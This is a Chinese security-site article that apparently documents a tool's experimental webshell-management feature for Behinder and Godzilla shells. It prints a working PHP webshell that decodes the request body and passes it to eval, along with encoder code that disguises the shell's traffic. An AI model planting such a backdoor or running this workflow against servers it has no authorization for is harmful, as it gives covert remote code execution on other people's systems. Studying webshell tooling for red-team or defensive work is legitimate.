freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ALL-IN-ONE 拼图补全计划之:Webshell 管理
2024-01-22 11:17:00

前言

在 Yaklang v1.3.0 版本中,我们更新了一个试验性功能——网站管理,方便各位管理员们管理"自己"的站点

温馨提示:在管理不是自己的网站前,需要先获取合法的授权

支持种类

冰蝎、哥斯拉、蚁剑是目前市面上比较流行的三款Webshell 管理工具,在此先向前辈们表示

1705893182_65addd3ed9c9e79436cd9.png!small

目前 Yakit 中的网站管理支持管理冰蝎4、哥斯拉类型的 shell,功能涵盖了存活探测、获取基础信息,命令执行,以及部分的文件管理;后续会加上常用的一些功能。

Yakit中的使用

哥斯拉

连接哥斯拉的shell 比较简单,直接点击试验性功能中的网站管理模块,在右上角点击添加网站,可以看见如下表单,填好对应的字段即可进行连接了

1705893191_65addd4739de43048e873.png!small

获取基础信息

1705893194_65addd4adeb16281749a0.png!small

后续在 Yakit 中可能着重在通过哥斯拉加载插件实现更多的功能

冰蝎3

冰蝎在 v4.0 版本推出了自定义协议通讯的方式,因此和冰蝎3 的连接方式有些许的不同,我们先以简单的冰蝎3为例,

1705893201_65addd517a706710ee947.png!small

可以发现有两栏编解码器的选择框,由于冰蝎3的 class payload 中默认了AES/XOR 的加解密的方式,因此,对于冰蝎3 的连接,我们无需对编解码器进行选择,只需要填写 URL、脚本类型、密钥后,点击添加即可。

1705893209_65addd5998f86de4858c0.png!small

随后可以右键选中刚才添加的 shell ,进行存活检测,发现连接成功

1705893215_65addd5f428aae296d5b9.png!small

进入shell 查看基本信息

1705893219_65addd63deff4e72a8016.png!small

冰蝎4

在讲如何连接自定义协议的冰蝎4的shell 前,先来看看一个自定义了远程/本地加解密的冰蝎4 shell的连接过程,为了查看流量方便,我们使用 PHP 的shell 进行演示

1705893228_65addd6c72a65553021f9.png!small

上面的流程图结合下面的流量数据包一起看,更容易理解

1705893233_65addd711489d5f0c2d9d.png!small

用最简单的话来说就是:

本地加密就是加密或者编码 Request 的请求包,这个被加密过的请求包 "aaaPayloadbbb" 需要远程解密函数去解密或者解码,拿到真正需要执行的 Payload.

远程加密就是写在 Payload 中的用于加密或者编码的一个函数,也就是上图中的下面的代码

function encrypt($data){
    return strrev($data);
}

由于远程加密函数加密的是返回的结果,也就是 Response 的 body,所以最终的结果,还需要本地解密函数进行处理

也就是说是一种交叉的关系,在 Yakit 中没有使用 远程/本地 编解码器的概念,而是使用了 数据包/回显 编解码器的概念,数据包编解码器就是用于设置加解密 request body 和 response body 的,回显编解码器就是用于设置Payload 中的加解密函数部分。下面我们来用 Yakit 编写 数据包/回显编解码器,连接一个自定义的 shell

数据包编码器 如下

wsmPacketEncoder = func(raw) {
    packet = "aaa" + string(raw) + "bbb"
    return []byte(packet)
}

数据包解码器需要写在 shell 中,也就是下面Decrypt函数部分

<?php 
function Decrypt($data){
    $data = substr($data, 3, strlen($data) - 6);
    return $data;
}
$post = Decrypt(file_get_contents("php://input"));
eval($post);
?>

预览如下

1705893297_65adddb1c5d6928dcf80d.png!small

回显编码器

wsmPayloadEncoder = func(reqBody) {
    return `
function encrypt($data){
    return strrev($data);
}
`
}

回显解码器

wsmPayloadDecoder = func(reqBody) {
    return string(reqBody).Reverse()
}

预览如下

1705893335_65adddd7df9f9e5a98075.png!small

随后我们就可以在添加网站的表单处,选择我们刚才写好的 编解码器,此处的密钥可以随意填写了

1705893339_65addddb72082ee73067e.png!small

随后就可以正常的使用了,我们特意添加一个代理,用于观察数据包情况

1705893343_65addddfacdb88d041ba9.png!small

检测是否存活的数据包

1705893348_65addde424251f57998a7.png!small

获取基础信息的数据包

1705893352_65addde8047b89916b5c5.png!small

总结一下就是,在 Yakit 中数据包编解码器就是用于编解码/加解密 Http 数据包的,回显编解码器就是用于编解码/加解密 回显内容的

试验性功能

由于是试验性功能,后续会对网站管理模块功能进一步的完善,例如可能使用类似 yaml profile 的方式。以及导出为yaklang 的一个库,供大家在代码中也可以方便的进行管理。大家有什么好的想法,也欢迎沟通

最后

本文避重就轻的只是介绍了如何连接相关的shell,其实冰蝎、哥斯拉服务端的一些实现更加值得学习,后续有机会的话也另开篇幅讲讲,大家也可以通过它们的源码进行学习。

# 网络安全 # web安全 # webshell # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录